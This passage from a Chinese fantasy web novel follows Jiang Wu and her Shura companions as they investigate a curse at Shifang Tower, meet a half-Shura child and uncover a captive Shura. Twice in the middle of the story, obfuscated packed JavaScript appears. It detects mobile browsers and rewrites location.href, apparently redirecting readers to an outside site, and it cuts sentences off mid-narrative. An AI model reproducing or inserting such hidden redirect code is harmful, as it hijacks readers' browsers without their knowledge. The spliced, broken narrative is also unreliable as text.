姜芜解释道:“不是你想得那般,也不是同荆州萧氏那般,我曾经受过很严重的伤,将他忘记了,是他一直在照顾我,直到我想起所有的事情。” 寂满似懂非懂地点了点头,“也就是说你们的关系很好喽。” “是不差。” 宿凌薇见雾沅一直看着窗外,忍不住好奇地凑上前,“你在看什么呢?” 雾沅抬手抵在唇前示意宿凌薇噤声,伸手指了指廊庭中围着药炉谈笑的两个人,“我已经很久未看到姜芜如此开心了。” 宿凌薇诧异地看向雾沅,“你在开玩笑吧,这才是濯濯本来的样子啊,我倒是还纳闷她前几日为何一直愁眉不展,睢羲......到底怎么死的?不会是突然疯癫了吧?”说完,她的面色逐渐惊恐。 雾沅蹙眉,“为何修罗会突然疯癫?” 宿凌薇神情郁结地思索了片刻,随即展颜一笑,“你可以认为是走火入魔,无论是人族亦或者妖族在修行的过程中都会如此,气血逆行,真元紊乱,功力全无,重则性命不保,但是修罗的走火入魔,只会让修罗更强,而且没有神志,会随意且无差别的攻击任何人。后续发觉天河之水能够延缓疯癫之症,但是也仅限于未发作之前,若是已经得了疯癫之症,那便无力回天了,但是近些年我发觉灵气似乎同天河之水有一样的功效。” 雾沅问道:“何以见得?” 宿凌薇说:“当初段怀野设下的封印,自此已经三百二十八年,在十年前出现裂痕松动,所以在封印设立之初后的三百一十八年,无幻之境内得疯癫之症的修罗数不胜数,不仅仅是老修罗,很多年轻的修罗也会这般,但是封印松动后,这个数量便下降了,因为百衢和睢羲四处奔波的时间变短了。” 雾沅蹙眉,他扭头看向廊庭下笑靥如花的姜芜,“无幻之境的封印居然是十年前松动的吗?松动之前,没有修罗去过人间吗?” 宿凌薇摇了摇头,“并没有,你为何这般问?” 雾沅眉心拢得更紧,“据我所知七仙是在段怀野死后第两百一十五年出现并活跃的,而姜芜在一百多年前挖取了他们的心脏,照你的意思来看,一百多年前无幻之境并没有出现裂痕,姜芜是如何出现在人间的?” 宿凌薇神情疑惑地看向雾沅,“她不是同段怀野交好吗?或许段怀野并没有将她封印进去也未必......不对,段怀野死后,我曾在无幻之境内见过濯濯......太奇怪了,这是为何呢?” 雾沅伸手捏了捏胀痛的眉心,“灵气可以缓解修罗癫狂之症的事情,姜芜知晓吗?” 雾沅有些想不明白,现下姜芜种族不明,又要执意封印无幻之境,她同修罗一族如此交好,甚至还有宿凌薇这般的好友,却要不顾往日情谊通通置他们于死地,似乎只有她是人族这一个答案,才能解释她为何执着这般,不顾一切也要封印无幻之境,只为换人间太平。 宿凌薇摇了摇头,“我并不知晓她知不知晓这件事,也不知晓睢羲有没有对她说过,不过这只是我的猜测而已。” 雾沅神情凝重地盯着宿凌薇看了片刻,“那你知晓姜芜此行的目的吗?” 宿凌薇讶然,“目的?” 姜芜端着一碗汤药进门,见雾沅同宿凌薇皆是一副心事重重的模样,“发生何事了?” 雾沅摇了摇头,“你今日对十方楼之事了解得如何?” 姜芜把药碗放在桌上,“听他们的大长老讲了一个半真半假的故事而已,具体事情的真相如何,还要找到设下诅咒之术的修罗。” 常奉眠在寂满的搀扶下从房间内走了出来,她浑身无力,走得便有些缓慢,她咬着牙努力跟上寂满的步伐。 从卧房到正厅的距离并不是很远,但寂满依旧察觉到了常奉眠紊乱的呼吸声。 “眠眠,你感觉如何?”寂满停下脚步,他手中托着常奉眠的手臂,俨然做好了要背她的准备,“是不是不舒服,需要我背你吗?” 常奉眠摇了摇头,气若游丝地说:“不必了,马上便到了。” 寂满牵引着常奉眠的手放到了他的肩膀上,“来吧,不然一会没力气喝药了,今天的药感觉很苦的样子。” 常奉眠动作一顿,随即顺从地趴在了寂满的后背上,她实在是太累了,四肢像是灌了铅一般,没有多少力气支撑她走路,若是可以的话,她愿意一睡不醒,但是梦中总是被血染红的村落,以及父亲他们杀红了眼的模样。 “眠眠哪里不舒服?” 姜芜见寂满背着常奉眠进门,立刻上前帮扶着让后者坐在了罗汉床的软靠中,随即上前去探她的脉息。 “眠眠,先喝药吧。” 姜芜拉着常奉眠的手去碰桌上的碗,“喝了药再吃些东西,好好休息。” 常奉眠捧着药碗,轻轻地问道:“濯漪,我是不是要死了?我真的觉得好累啊,我感觉要撑不住了,不行,我要撑下去,我要替我的族人报仇。” 寂满听着常奉眠这么说,心中难免不熟爽,轻声说:“眠眠,别说傻话了,你会好起来的。” 姜芜板着脸说:“常奉眠,再不喝药,可就真的没法帮族人报仇了,你便只能等死了。” 常奉眠周身一震,立刻捧起药碗,一口气将里面的药全部喝了下去,她忍住想要干呕的冲动,“我要帮我的族人报仇……”说完,她便伏在桌边捂嘴干呕了起来。 姜芜抬手塞了方帕子在常奉眠的手中。 寂满见状立刻取出来那带瓜子糖,在常奉眠擦干净手之后,放了一撮在她的手心里,“尝尝,姜芜给的,又香又甜。” 宿凌薇看着常奉眠短短几日便被瘴气折磨得瘦了一大圈,伏在桌上干呕时连肩胛骨都能看得出,不大的年纪遭此横难,实在是令人唏嘘。 恰逢十方楼的小道童送来了晚饭,几个人围着桌子随意地吃了几口,便各自回房间休息了。 宿凌薇倚靠在庭廊中,透过窗户看着姜芜收拾床榻,她手中拿着一壶酒,透过角檐便能看到逐渐暗下来的天空。 “你有事想同我讲?不进来?” 姜芜收拾好一切,伏到窗沿上去看宿凌薇。 宿凌薇仰头喝了一口酒,开口问道:“睢羲到底是如何死的?我方才问那只蝶妖了,他并没有同我讲。” 姜芜莞尔,“你怎么突然关心起他了?” “因为你啊,之前在云舟上是我误会了,我以为你的伤心难过是因为段怀野,看来是我误会了。”宿凌薇偏头看向姜芜,“他是突然疯癫了吗?你杀了他?” 姜芜眉心一跳,整颗心都被揪了起来,她垂眸浅笑,苦涩的滋味油然而生,“也算是吧,也算是吧。” 宿凌薇蹙眉,“是便是,不是便不是,也算是为何意?濯濯,你不能将其他人的死都揽到自己的身上。” 姜芜按了按眉心,顿时觉得身心俱疲,“事情已经发生了,我不想谈论这个,没有任何用处。” 宿凌薇幽幽地叹了一息,“那我不问了,休息吧。”说完,她便拎着酒壶转身离开。 姜芜静立了片刻,随即关好门窗折回榻前,将一瓶酒取出放在矮凳上,她看着手中的幻梦水,取下塞子往酒中滴入一滴。 幻梦水迅速融入酒液之中,编织出一个虚幻的沉醉之梦。 姜芜仰头喝下全部的酒,沉沉地进入了梦乡之中,梦中有她最思念之人,也是想见却再也见不到的人。 睢羲同百衢处理完一个疯癫的修罗后才发觉已经误了时辰,今日是人间除夕,他同濯漪约定好要去人间过新年的,现下估计是赶不及了。 百衢见睢羲一副郁郁寡欢的模样,便知晓他又是在胡思乱想一些没用的事情,抬手擦了一把脸上的血,上前勾住了睢羲的脖颈,“走,解决完了,找地方喝酒去。” 睢羲伸手拿下了百衢的手,“下次吧,我还有事。” “啧。” 百衢神情不悦地说:“都已经过了时辰了,还回去做甚?濯濯说不定早就自己去,没有等你了,而且她自己又不会丢了,你不必事事都要跟着她。” 睢羲说:“不是事事,是很久之前便约定好了今日,下次一定同你喝酒,不会爽约的。” 百衢刚要开口便看到睢羲急匆匆地化成一道戾气离开。 濯漪点着灯在院子中照看自己的的花草,长夜之下,植物缺少阳光全部一副营养不良的模样,瘦弱又蔫黄,蔫头耷脑的,而且没有阳光根系便会停止生长,水一多就会出现糜烂的情况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548287|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濯漪幽幽地叹了口气,将死掉的花草全部拔了出来。 “濯濯。” 濯漪闻声看去,随即丢开手中的花草迎上前,笑着说:“睢羲,你回来了,还顺利吗?” 睢羲的脸上带着一丝的不安,“现下是什么时辰了?” 濯漪脸上笑意更浓,她拱手对睢羲说:“新的一年要平安顺遂,喜乐无忧。” 睢羲有些愧疚地抿了抿双唇,“还是没赶上吗?” “赶上了啊。” 濯漪笑着从袖袋中取了一支烟花,用戾气点燃后,烟花在手中绽放出漂亮的花朵,成为永夜的无幻之境唯一的光芒。 “好看吗?” 睢羲看着濯漪手中的烟花,又去看她被烟花映得分外美丽的笑靥,点了点头说:“好看。” “好了好了,看完了看完了,吃饭了吃饭了,我都快饿死了。” 濯漪扔掉手中残留的烟花碎,拉着睢羲走进了树中,木桌上摆放了一只食盒,她打开盒盖将里面的吃食全部取了出来,“尝尝,这是年糕,可好吃了。” 睢羲伸手接过用油纸包住的年糕,缓慢地将油纸展开,红枣黄米年糕的香味扑鼻而来,只见大黄米和着豆沙馅与红枣碎,表层铺了一层香甜的蜜枣。 濯漪迫不及待地拨开油纸,多咬了几口里面的年糕来解馋,年糕绵软,甜而不腻,她见睢羲一直不吃,便开口催促道:“尝尝啊,除了过年这几日,平时可是吃不到的。” 睢羲动作轻柔地擦掉濯漪唇角粘到了豆沙碎,低头咬了一口年糕。 濯漪又将黄米桂花馒头、八宝鸭、烤鸡、以及冬笋炒腊肉几道菜推到了睢羲面前。 “吃吃看,我觉得都很好吃。” 睢羲看着濯漪兴致冲冲地介绍菜品,取了筷子全部都吃了一些,“好吃,你挑得都很好吃。” 濯漪见睢羲多夹了几次冬笋炒腊肉,便将盘子往她面前推近了几分。 睢羲见状面上闪过一丝讶然,“这些都是你做的?” 濯漪咬着年糕不去看睢羲,唇角却一直带着按捺不住的笑容,“除了年糕和黄米桂花馒头哦。” 睢羲摸了摸濯漪的头发,温声夸赞道:“濯濯真厉害。” 濯漪脸上的笑意更浓,她靠在睢羲的肩上,开口说:“过年嘛,主要是团聚,再就是吃好吃的东西和守岁,虽然我每天都同你在一起,但是还是想与你体验些不同的。” 睢羲将濯漪抱到腿上,让她坐进自己的怀里,“谢谢濯濯带我体验不同的东西。” 濯漪闻言笑而不语,只是飞快地探头啄了一下睢羲的双唇。 睢羲回吮一下濯漪的唇珠,勾去她唇上的年糕碎,抵着她的额头说:“快吃吧,要凉了。” 月上中天,清辉满屋。 姜芜睁开双眸,她深深地吸了一口气,躺在床榻上不愿意动,沉浸在梦的余韵之中难以回神,朦胧之间察觉到有人背对着她坐在床边。 姜芜伸出手摸索了过去,借着来者的臂弯起身,似身若无骨般地挂在他的后背上,脸贴在他的肩背处。 “怎么起了?是不是很难受?” 姜芜伸出手顺着宽厚的胸膛一阵摸索,在即将到达心口处时,却被一把拢住了手。 “又不给我看吗?” 姜芜等了片刻,见他不语也不在强求,自顾自地起身预备下床。 睢羲伸手攥住她的手腕,出声问道:“去哪里?” 姜芜顺势坐在脚踏上,扭着身子趴在睢羲的腿上,虚虚地合着眼眸,“睡前喝了太多酒啦,现下有些口渴,去找着水喝。” “为何要喝那么多酒?” 睢羲伸手一下一下地顺着姜芜的长发,怕她坐在脚踏上冷,伸手将她抱在了怀中,拢着她微凉的腿脚,低声重复道:“为何要喝那么多酒?” 姜芜靠在睢羲的怀中,指尖卷着他的墨发,轻声说:“想见你,有好多话想对你说,或许喝醉了便能见到你了。” 睢羲问道:“你想同我讲何事?为何总是一而再再而三的出尔反尔,不是说好要分道扬镳的吗?为何现下还要装作一副可怜的模样?像是我弃你于不顾。” 姜芜的声音轻轻,“不是你追到荆州去的吗?说我可怜,让你心疼,每日去并州买新鲜的海产,还要往自己的心口刺噬魂骨钉,你到底要做何事?你也知晓我们已经分道扬镳了,结果呢?若是你听我的,乖乖待在无幻之境内,哪里还有现下这般?你怨我好了。” 睢羲蹙眉,伸手挑去姜芜脸上的泪珠,“濯濯,我们携手共进,风风雨雨这么多年,我不信你是随便的人,是你要做何事?你同我讲清楚,有些事情未必没有折中解决的法子,不要总是想着一个人承担。” 姜芜周身一震,抬眸看向睢羲,眉心微拢,她抬手描摹着后者的五官,目光眷恋。 “我想你恨我,我想你远离我。你靠近我,什么东西都远离了你,只有死亡靠近了你,若是没有我,我们就不会在梦中相见了。” 睢羲蹙眉,“濯濯,这是你的真心话吗?” 75. 风筝 姜芜闻言直起腰身看向睢羲,她抿着双唇,一脸的幽怨与不解,“假的,不是真心话,我的真心话是我恨你!我恨死你了!你到底为何要杀了段怀野?!” “濯濯,起了吗?” 姜芜闻声从梦中醒来,缓缓地睁开了双眸,发觉自己正伏在床边,她起身活动了一番僵硬的身体,随即穿好衣裳前去开门。 宿凌薇见姜芜长发未梳,一脸睡意,“你这是还没醒?” 姜芜打着哈欠,瓮声瓮气地说:“是啊,还做了个梦,梦见一只大狗一直追我,吓死人了。” 宿凌薇蹙眉,一本正经地说:“梦到狗追你?听起来确实有些可怕。” 姜芜抻着懒腰向房间内走去,打开窗户通风,“是啊,梦里我也真是昏了头,居然跟一只听不懂人话的狗讲道理,这个梦做得我可真是疲惫。” 宿凌薇听完姜芜的话,神情关切地问道:“那你要再睡会吗?” 姜芜摇了摇头,“不用了,眠眠怎么样了?” 宿凌薇说:“喝了十方楼给开的汤药好多了,眼睛也消肿了不少,方才昨日那大夫又来检查了一番,说是再敷几日便可以消除血肿,到时候再看看眼珠的情况,但是要我们做好心理准备。” 姜芜面色不变地梳着长发,抬手给自己挽好发髻,“做好她眼镜彻底治不好的准备吗?” “对。” 姜芜在梳妆镜前端坐了片刻,随即抬手将昨日从傅靖川体内取出的戾气融成一团,“这是我昨日从那个小道士体内取出的戾气,你觉得眼熟吗?” 宿凌薇拢着眉心上前,姜芜手中的戾气一团漆黑之雾,其中带着隐隐约约的腥味,“这是谁的戾气啊?这边是下诅咒之人的戾气吗?” 姜芜颔首,“应当错不了,诅咒之术是五年之前出现在十方楼的,而五年之前刚好有一名身怀六甲的女弟子回楼,所以那名修罗极有可能是冲着那女弟子来的。”说完,她抬手掐诀,画了一番追踪符咒于戾气之上,只见手中的那团戾气不断地变化拉长,随即像云丝一般向房间外飞去。 宿凌薇见状快步走了出去,那道戾气所蔓延向前的方向却是那座四角楼的位置。 “这是什么情况?”宿凌薇神情诧异地看向姜芜,“莫非那名修罗被他们囚禁起来了?他一修罗为何会被人族修士所困?” 姜芜说:“若是十方楼也进入无望谷采药,找到了黑荆藤,想困住修罗也不无可能。与我猜测的不错,昨日那大夫说漏了嘴,十方楼近些年一直在研究消解戾气的汤药,但是总是差点意思,怕是一直在拿修罗试药。” 宿凌薇闻言倏地看向姜芜,“确定吗?” 姜芜摇头,收起了追踪术,“还需要一件事情佐证。” 宿凌薇问道:“何事?” 姜芜说:“我昨日见过的,那个年仅五岁的小童。” 宿凌薇神情震惊地看着姜芜,“天呐,那个女修将孩子生下来了?那个孩子还好吗?真的是修罗族和人族的混血吗?简直闻所未闻。” 姜芜略略回忆了一番昨日见到长生的模样,“似乎与普通小孩没什么区别。” 宿凌薇看着姜芜,想起昨日同雾沅的谈话,试探地问道:“那个修罗是十年前封印破时逃窜出来的吗?还是当初封印之时并没有在无幻之境?” 姜芜说:“都有可能,虽说当初段怀野尽数将修罗封印在了无幻之境,但是难免会有遗漏的。” 宿凌薇神情有些无奈,片刻后又多了几分祈求,她静静地看着姜芜,一言不发。 “怎么?” 宿凌薇说:“睢羲生前有没有同你说过无幻之境的事情,灵气其实是可以延缓疯癫之症的,同天河之水效果相仿。” 姜芜面上有一瞬间的空白,她缓缓地摇了摇头,“我并不知晓,我只知晓灵气会加重睢羲的伤势,唯有在无幻之境内才会减缓。” 宿凌薇长长地舒了口气,“我也只是猜测,但是八九不离十。” “我知晓了。”姜芜合眸平复了一番杂乱的心绪,“薇薇,你怨恨段怀野将你们封印在无幻之境内吗?” “我?还好啊。”宿凌薇说,“人间虽然有趣,但是时间长了也便是那样,我们寿命如此漫长,即便是得了疯癫之症也不会死,所以在那里都是一样的。无非便是那些渺小的人类害怕我们,画了一个圈而已,你为何会突然这么问?” 姜芜垂眸,“随便问问而已。” 宿凌薇伸手搭在了姜芜的肩膀上,“我知晓睢羲伤得很严重,按照你方才的话,你是想为了睢羲重新封印无幻之境吗?” “现下再谈这些已经无意义了,睢羲已经死了,不要再谈了,没有意义。”姜芜深深地吸了一口气,“我要做的事情同睢羲无关,我们之间已经不复从前了,不要再提他了。” 宿凌薇见状无奈地叹了一息,“我也不知晓该怎么同你讲。” 姜芜抬眸看向前方,眼底一片冷淡,“多说无益,他只是个过去之人,同我现下与未来无关。” 宿凌薇点了点头,应了声好,“对于十方楼之事,我们接下来该如何做?去看看那个孩子吗?” 姜芜沉思了片刻,“先去寻一下雾沅。” 雾沅盘膝坐于阳光下,听着姜芜的话缓缓地睁开了双眸,“你怀疑那四角楼里关押着修罗?” 姜芜颔首,“希望你化个分身到楼里四处打探一番,看看是否有可疑之事或者人,我同薇薇去接触一番那个五岁的孩子。” 雾沅颔首,“好。” 宿凌薇同姜芜沿着十方楼内的小路缓慢地走着,这个时辰所有的外门弟子都在学习药理,一路上鲜少有人。 宿凌薇用袖子扫着一路上展开的迎春花,又折了一支腊梅往姜芜的发髻里簪,“我们要逛到何时?万一那个小孩在楼里不让出来呢?” 姜芜偏着头,等宿凌薇簪好后便伸手碰了几下,指尖上便残留了一些腊梅花的气息,“那便想办法引他出来,小孩子嘛,无非是爱玩。”说完,她抬手从纳袋里取出了一只小风筝。 宿凌薇兴致昂扬地看着姜芜手中的风筝,“这便是风筝吗?要怎样玩?” 姜芜松开了几圈线,在风筝上挂了两只银铃,“若是有兴趣,可以举着风筝跑一会,说不定来一阵风便能将风筝吹上天,若是没有兴趣,用戾气化一阵风也是可以的。” 宿凌薇伸手弹了一下那两只银铃,一阵清脆的声音荡了开来,“可惜今日无风,不过我可以跑起来再化一阵风出来。”说完,她从姜芜手中接过风筝,迅速地在小路上穿行了起来。 宿凌薇将手中的风筝掷向了空中,随即勾动手指,戾气化风托着风筝飞了起来。 “濯濯,你看啊,风筝飞起来了。” 姜芜笑着说:“记得扯线,别让风筝飞得太高,否则风会将线吹断。” 长生听到外面传来的银铃声,他看了一眼正在打瞌睡的乳母,放下了手中的书,随后悄悄地走出了四角楼,他寻着声音来到了一条小路上,躲在一旁的灌木丛旁艳羡地看着天空中的风筝。 姜芜看到了躲在一旁的长生,决定暂时先按兵不动,催发了一旁的早樱,拂了花瓣落了下来,“薇薇,再高一些。” “好。” 长生在一旁看得欢喜,忍不住拍手叫好,“好漂亮的风筝呀,好漂亮的风筝呀,风筝飞高高喽。” 姜芜这才闻声望了过去,装作一副讶然的模样,很快便恢复了笑容,她朝着长生招了招手,“你也想玩风筝吗?” 长生见姜芜发现了他,离开躲回了灌木丛中,探头看着姜芜,一双恍若黑宝石般的大眼睛怯生生地看着她,“我是偷偷跑出来的,你会去跟大长老说吗?” 姜芜摇了摇头,“不会的,过来吧。”说完,她拢着衣裳矮身蹲了下来,并朝着长生伸出了手。 长生笑着扑进了姜芜的怀中,奶声奶气地说:“你愿意带我玩,你人真好。” 姜芜一脸不解地看着长生,下意识地模仿长生的语气,“小可怜儿,都没人带你玩吗?” 长生不满地嘟起小嘴,“大长老不让他们跟我玩,说我很危险。整日让我呆在楼里,让乳母看着我。而且我是偷偷地跑出来的,一会便要回去了,否则乳母醒来会找不到我的。” 姜芜满目心疼地看着长生,取了一包瓜子糖放在了他的怀中,“这是瓜子糖,你要藏好一些,别让他们发现,若是被发现了,你就跟他们说是我给你的,好吗?” 长生如获珍宝地捧着手中的荷包,绷着脸摇了摇头,“不会的,你都没有同大长老说我偷偷跑出来的事情,瓜子糖被发现了,我也不会跟他们说是你给的。” 姜芜伸手摸了摸长生的头发,“真乖。” 宿凌薇收了风筝,缓步朝着二人走了过来,她双眸紧紧地盯住长生,在后者疑惑地看过来时,立刻换上了一副笑颜,“你叫什么名字啊?” 长生看着宿凌薇手中的风筝,笑着说:“我叫长生,今年五岁啦。” 宿凌薇问道:“就你自己吗?方才我听你说乳母,你的爹娘呢?” 长生疑惑地蹙起了小眉毛,一脸苦恼的模样,“爹娘是什么?我不知道,我也没有见过,也没有听别人提起过。” 姜芜闻言同宿凌薇对视了一眼,随后才说:“薇薇,我这里还有其他的风筝,你就把你手中的风筝送给长生吧。”说完,她便将长生放在了地上。 宿凌薇将风筝上的铃铛拆了下来,将风筝递给了长生,“给你。” 长生看着风筝羞涩地笑了起来,他有些局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小童蹑手蹑脚地进门,连乳母还在睡着,悄悄地松了一口气,他四下看了看决定将手中的风筝放在摆放衣物的桌子下面。 小童做完一切便坐回桌前,小脸惨白,呼呼地喘着粗气,仿佛刚才的一切耗尽了他全部的戾气。 雾沅见状便知晓这个小童便是姜芜说的那个孩子,扇动翅膀飞了出去,落在一层的书架上静静地屏息以待。 司寇珺身侧的道童谭言从高层走了下来,手中提着一盏风灯,他先是站在高位处俯瞰整个一层,随后才往一处隐蔽地走去。 谭言伸手按下一处按钮,一层中间的阴阳鱼中间突然分开一道可供一人通过的缝隙,一条向下的楼梯延伸至黑暗当中。 谭言提着风灯快步走了下去,雾沅见状立刻扇动翅膀跟了上去。 雾沅从未想过名门正派的十方楼下居然别有洞天,浓重的草药味混着血腥味扑面而来,只有一条小道可供人行走,两侧都是密密麻麻站立的陶片人俑,到处充斥着冷气。 雾沅落在一只人俑的头顶,却发觉人俑在微微的颤抖,仔细听还有不算明显的呼吸声。 “你还不承认吗?” 厍灯的四肢被锁链捆住,身上结满了密密麻麻地冰霜,他扬起一张布满血污的脸,笑着问道:“承认什么啊?我人在这里被锁得死死的,我能做什么啊?” 谭言闻言气极,抄起一旁的鞭子抽在了厍灯的身上,“花言巧语!还敢狡辩!修罗嘴里真是没一句实话!” 厍灯咬牙忍耐,缓过一口气后才开口道:“说了又不信,那我就承认好了。” 谭言追问道:“承认什么?!” 厍灯满不在乎地一笑,“你让我承认的啊,我怎么知晓承认了什么?” 谭言怒道:“你这个无耻之徒,害了卿云师姐不成,还要害她的师门,害她的兄弟姐妹们!我们已经知晓了,那些横行于十方楼的诅咒,里面充满了残暴至极的戾气,就是你这个修罗所为!你居然还敢不承认!速速解除诅咒!” 厍灯笑容一僵,“不许你们提卿云的名字!” “真是冥顽不灵!” 谭言冷哼一声,随即从一旁的取了一只陶罐便离开了。 雾沅收回神识,缓缓地睁开了双眸,他看着寂满同常奉眠坐在廊庭的围栏上,前者正在逗乐后者,不禁陷入了沉思。 姜芜若有所思地跟在宿凌薇身后走着,回忆着当年频繁离开无幻之境的事情,她并不记得当初有谁尾随她出来,即便是有人尾随着她来,居然还能做到神不知鬼不觉。 宿凌薇停下脚步,惊呼了一声,“是那个小大夫。” 姜芜闻声看去,只见傅靖川挑着一根扁担,撑着两桶满满当当的水,正缓慢地前行着,时不时停下脚步来擦头上的热汗。 “他不是病了吗?怎么还做些个挑水?”宿凌薇偏头看向姜芜,“你真觉得他长得不像睢羲吗?” 姜芜看着傅靖川的背影,轻声问道:“哪里像?” “身量啊,眉眼啊,都像啊。睢羲你都喜欢了这么多年,肯定是钟意这一款的。”宿凌薇笑着说,“怎么看都比那个小道士好,你要不试试这个?” 76. 商讨 姜芜摇了摇头,“都过去了,不要再谈论睢羲了。” 宿凌薇闻言毫不在意地挑了一下眉毛,“你若是不喜欢,那我便出手喽,正好可以弥补我的遗憾。”说完,她便快步上前,伸手撑住了傅靖川肩上的担子。 傅靖川一愣,只觉得肩上的扁担轻了不少,他迅速回头却看到了笑语盈盈的宿凌薇他迅速矮身放下扁担,急忙道:“姑娘,当心扭伤,这扁担很重的。” 宿凌薇仔细地打量着傅靖川,笑着说:“真是像啊,越看越像。” 傅靖川有气无力地看着宿凌薇,面对她灼灼的目光,病弱的身体让他精力不济,阻断了他思考的能力,他直勾勾地回看着宿凌薇,有些不解地问道:“像什么?” 宿凌薇故作神秘地说:“像……我的一个朋友……话说,你身子还未好,怎么做这些重活?” 傅靖川鼻尖嗅到了宿凌薇身上的香粉味,这才反应过来她站得离自己如此近,立刻向后退了一步,拉开两人之间的距离,拱手施礼遮住自己慌乱的神情,“今日我无事,学堂夫子见我身体不适便免了我的课,谭师兄便安排了我做这些。” 宿凌薇问道:“你这来来回回,要挑多少桶水啊?何时才能挑满啊?” 傅靖川如实道:“够今日十方楼所用便可。” 宿凌薇讶然,“这十方楼如此之大,只靠你一人吗?这得挑到何时?” 傅靖川抿唇,再次将扁担放在了自己的肩上,吃力道:“不能再多说了,否则天黑之前要挑不满了。” 宿凌薇不解地看着傅靖川,上前接过他肩上的扁担,“我来帮你好了。” 傅靖川大惊,“万万不可,您是大长老的客人,怎可帮我做这等粗活?况且您是姑娘,身子娇弱,做这些太勉力了。” 宿凌薇神情怪异地看了一眼单手拎起的扁担,随即又笑着去看姜芜,“你别太小看我们,即便是体力比不得又如何,用法术不可以吗?”说完,她抬手往扁担上注入一道戾气,使得扁担能够灵活自如地浮在她的身侧。 “如何?” 傅靖川神情惊讶地看着宿凌薇,点点头说:“姑娘自是神通广大的。” 宿凌薇笑着说:“走吧,你身子不好,怕是一天也是挑不完的。” 傅靖川闻言急忙追了上去,神情焦急地说:“姑娘,这本就是我的份内之事,还是让我自己来吧。” “你这水要挑到哪去啊?”宿凌薇问道,“你不给我指条路吗?” 傅靖川指了指不远处的水箱,“那处,但还是我自己来吧,水箱比较高,不好往其中倒水。” 姜芜看了一眼半人高的水箱,“你们这样要折腾到何时?”说完,她抬手掐诀引入注满水箱。 宿凌薇抬手敲了敲水箱,听着其中满满当当的水声,笑着说:“濯濯,可以啊,你这样方便多了。” 傅靖川见状开口,“二位都是神通广大之人,靖川在此谢过二位了。” 傅靖川说完便躬身咳嗽了起来,他伸手擦了擦唇角的鲜血,“让二位见笑了。” 宿凌薇见状便问道:“你既然是十方楼的弟子,为何还没有引气入体?没有修行入道吗?” 傅靖川摇了摇头,如实说道:“我是楼外弟子,没有资格引气入体,自幼家境贫寒,读不起学堂,十方楼每年都会招大量的弟子入楼,传授药理,包食宿,为期三年。但每年都会有考核,不合格者还会被逐出楼去,我也只是希望以后离开后能有个糊口的本事而已。” 宿凌薇面露不解,“你为何不做个楼内弟子呢?那样便可以御剑飞行,心想事成,多方便呀。” 傅靖川自嘲地一笑,“姑娘说笑了,我资质平平,怕是没有成为楼内弟子的天资。” 姜芜问道:“那你以后有想过做个大夫吗?还是想做个修道之人?” 傅靖川垂着眼眸,讷讷地说:“看机缘吧,我不强求,能填饱肚子便可。” 姜芜从袖袋中取出一本书籍,卷着递给了傅靖川,“今日相见也算是有缘,这个送你,也算是多一个选择。” 傅靖川抬眸惊讶地看着姜芜,随即双手将书籍接了过来,“这是......” 傅靖川扫了一眼书名,只见上面赫然写着碧海潮生四个字,随即神情震惊地看向姜芜,“这可是五行道宗灵修的基础修行之册?原来前辈是五行道宗的尊长,失敬。”说完,他便打算抬手向着姜芜施礼。 “傅靖川,你很有野心,十方楼一个门外弟子却能够准确无误地说出五行道宗的书籍,不仅分毫不差,而且知晓是各种用途,或许你差的只是一个契机。”姜芜抬手挡住傅靖川,“灵修的引气入体比较简易,只是你现下还未找到自己的道,所以要先强身健体才是,等你找到了自己的道,再进行正统的修行也不迟。” 傅靖川面上一白。 宿凌薇探头看了一眼傅靖川手中的书,有些好奇地问道:“这真是五行道宗的灵修淬体术吗?” 姜芜摇了摇头,“这本是我自己写的,不过是誊写本,原本应该收在五行道宗。” 宿凌薇抬眸,一脸郁结地看向姜芜,“你给他的?” 姜芜耸了耸肩,“反正我留着也无用。”说完,她便转身往小院走去。 宿凌薇见状快步追了上去,将本来放在傅靖川身上的心思全部收了回来,“濯濯,你不要同我讲其实五行道宗所有的书籍都是出自你之手。” “我当初无聊写了一些自己的所思所想,段怀野拿去整理成书又还给了我。”姜芜说,“后来他应当觉得我写得晦涩难懂,所以又简化了一番,理论上是同我没关系的。” 宿凌薇认真思索了片刻,随后才说道:“人族有个词好像叫做拾人牙慧,这段怀野真有意思,同你关系再好,也要做这种鸡鸣狗盗之事?他没有自己的想法吗?” 姜芜向后看了傅靖川一眼,“你不是对那个孩子感兴趣吗?怎么不出手了?” 宿凌薇摆了摆手,“只是长得像而已,到底还是无趣的,一个活了几十年的人而已,单薄无趣的很,我不怎么喜欢,而且道德礼仪驯化得很彻底,心思复杂,更无趣了。” 【小院】 寂满将剥好的熟花生放进常奉眠的手中。 常奉眠捏着手中的花生,心绪复杂,随后全部还给了寂满,“寂满,你自己吃吧,我吃不下了。” 寂满不以为然地将花生全部吃完,“眠眠啊,你要多吃些东西,身子才会好,有力气抵抗那些瘴气。” 常奉眠心中有些不耐,语气难免带些火气,“我每日已经吃得很多了,你不要再让我吃了。” 寂满并不在意常奉眠突然暴躁的语气,“你还有其他想吃的吗?我可以去给你找。” 常奉眠闻言一愣,心中多了几分愧疚,低声说:“我什么都不想吃,你也不要对我这么好。” “我知道的嘛,姜芜也同我说过,人在身子不舒爽时脾气难免暴躁。眠眠,我知道你心里苦,但是饭还是要吃,觉还是要睡的,不能因为心事重便什么都不吃,你现下比无幻之境的花花草草都没精神。当心里不舒服时,越不想做什么,才要越做什么,知道不?”说完,寂满伸手摸了摸常奉眠的发顶,轻轻地揉了揉。 常奉眠问道:“也包括在这烈日底下晒着吗?” 寂满抓起袖子擦了擦常奉眠头上的热汗,“春天嘛,太阳不晒的,多晒晒太阳,有好处的。” 雾沅见姜芜同宿凌薇回来,起身迎了上去,“如何?” 宿凌薇说:“那个小孩身上确实有修罗血脉不假,你那边呢?有什么可疑之处吗?” 雾沅颔首,“四角楼一层底下还有一层,那里有很多活人陶俑,甚至还有一个被关押起来的修罗。” 